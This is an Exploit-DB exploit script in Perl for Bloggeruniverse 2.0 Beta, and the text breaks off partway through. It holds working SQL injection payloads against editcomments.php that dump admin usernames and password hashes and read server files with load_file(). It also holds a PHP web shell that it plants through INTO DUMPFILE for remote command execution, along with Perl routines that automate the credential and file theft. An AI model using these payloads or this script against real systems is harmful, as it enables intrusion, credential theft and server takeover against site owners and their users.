Exploit-DB #8043
Description: Bloggeruniverse 2.0 Beta - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-11
Author: Osirys

Exploit:
#!/usr/bin/perl

# |----------------------------------------------------------------------------------------------------------------------------------|
# |                     INFORMATIONS                                                                                                 |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Web Application :  Bloggeruniverse v2Beta                                                                                         |
# |Download        :  http://garr.dl.sourceforge.net/sourceforge/bloggeruniverse/bloggeruniverse-beta2.zip                           |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |Remote Exploit (Admin credentials extract + File Disclosure + Remote Command Execution via Sql Injection)                         |
# |by Osirys                                                                                                                         |
# |osirys[at]autistici[dot]org                                                                                                       |
# |osirys.org                                                                                                                        |
# |Greets to: evilsocket, Fireshot, Todd and str0ke                                                                                  |
# |----------------------------------------------------------------------------------------------------------------------------------|
# |BUG [Sql Injection]
# |  p0c : /[path]/editcomments.php?id=[sql_string]
# |  There are other sql injections, find them by yourself ;)
# |[!] This Blog system doesn't cheek if install.php file still exists after installation ! ;)
# |SQL Injections used by this sploit :
# |[1] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,concat(username,0x3a,password),8 from users
# |[2] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,load_file('lf'),8
# |[3] /path]/editcomments.php?id=-2 union all select 1,2,3,4,5,6,'content',8 into dumpfile 'path'
# |----------------------------------------------------------------------------------------------------------------------------------|
# |This CMS is vulnerable to sql injection. This simple exploit just uses the sql bug to get admin credentials (username,password),
# |uses load_file() mysql function to disclosure local file on the server, uses the '' into dumpfile '' mysql function to save a
# |php shell on the website, so it will allows you to execute commands.
# |The RCE way is more difficult, becouse you need to know the site's path on the server, dumpfile function needs it !
# |I'm trying to find an universal way to find the cwd of the site in the server from sql injection, still nothing. Would be good a
# |LFI bug, so then we could write our file into /tmp, and then include it via LFI.
# |----------------------------------------------------------------------------------------------------------------------------------|

# Pastin' here output of all exploiting way of this sploit will be too long, here the first way :  Admin credentials extract
# -----------------------------------------------------------------------------------------------------------------------------------|
# Exploit in action [>!]
# -----------------------------------------------------------------------------------------------------------------------------------|
# osirys[~]>$ perl p0w.txt http://localhost/bloggeruniverse-beta2/ admin_hash
#
#   --------------------------------------
#       Bloggeruniverse Remote Exploit
#              Coded by Osirys
#   -------------------------------------
#
# [*] Extracting admin credentials via Sql Injection ..
# [*] Username: admin
# [*] [CREDENTIAL_REDACTED]
#
# osirys[~]>
# -----------------------------------------------------------------------------------------------------------------------------------|

use LWP::UserAgent;
use HTTP::Request::Common;

my $host   = $ARGV[0];
my $expl   = $ARGV[1];
my $fpath  = $ARGV[2];

my $sql_inj_path = "/editcomments.php?id=";
my $gen_sql_inj  = "-2 union all select 1,2,3,4,5,6,";
my $php_c0de     = "<?php echo \"st4rt\";if(get_magic_quotes_gpc()){ \$_GET[".
                   "cmd]=stripslashes(\$_GET[cmd]);} system(\$_GET[cmd]);?>";

$fpath = "/x" if ($expl =~ /file_disc/);
$fpath = "/x" if ($expl =~ /admin_hash/);
($host,$expl,$fpath) || help("-1");
cheek($host,$expl,$fpath) == 1 || help("-2");
&banner;

$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);

&adm_hash if $expl_way == 1;
&file_discl if $expl_way == 2;
&cmd if $expl_way == 3;

sub adm_hash {
    print "[*] Extracting admin credentials via Sql Injection ..\n";
    my $sql_inj = $sql_inj_path.$gen_sql_inj."concat(username,0x3a,password),8 from users";
    my $attack  = $host.$sql_inj;
    my $re = get_req($attack);
    my $content = tag($re);
    if ($content =~ /name="comment">([a-zA-Z0-9-_.]{2,15}):([a-f0-9]{32})<\/textarea>/) {
        print "[*] Username: $1\n";
        print "[*] Password: $2\n\n";
        exit(0);
    }
    else {
        print "[-] Can't extract admin credentials\n[-] Exploit Failed !\n\n";
        exit(0);
    }
}

sub file_discl {
    print "[*] cat ";
    my $file = <STDIN>;
    chomp($file);
    $file !~ /exit/ || die "[-] Quitting ..\n";
    if ($file !~ /\/(.*)/) {
        print "\n[-] Bad filename !\n";
        &file_discl;
    }
    my $sql_inj = $sql_inj_path.$gen_sql_inj."load_file(\"".$file."\"),8";
    my $attack  = $host.$sql_inj;
    my $re = get_req($attack);
    my $content = tag($re);
    if ($content =~ /name="comment">(.+)<\/textarea>\*\*\*\*\*\*<\/td>/) {
        my $out = $1;
        $out =~ s/\$/ /g;
        $out =~ s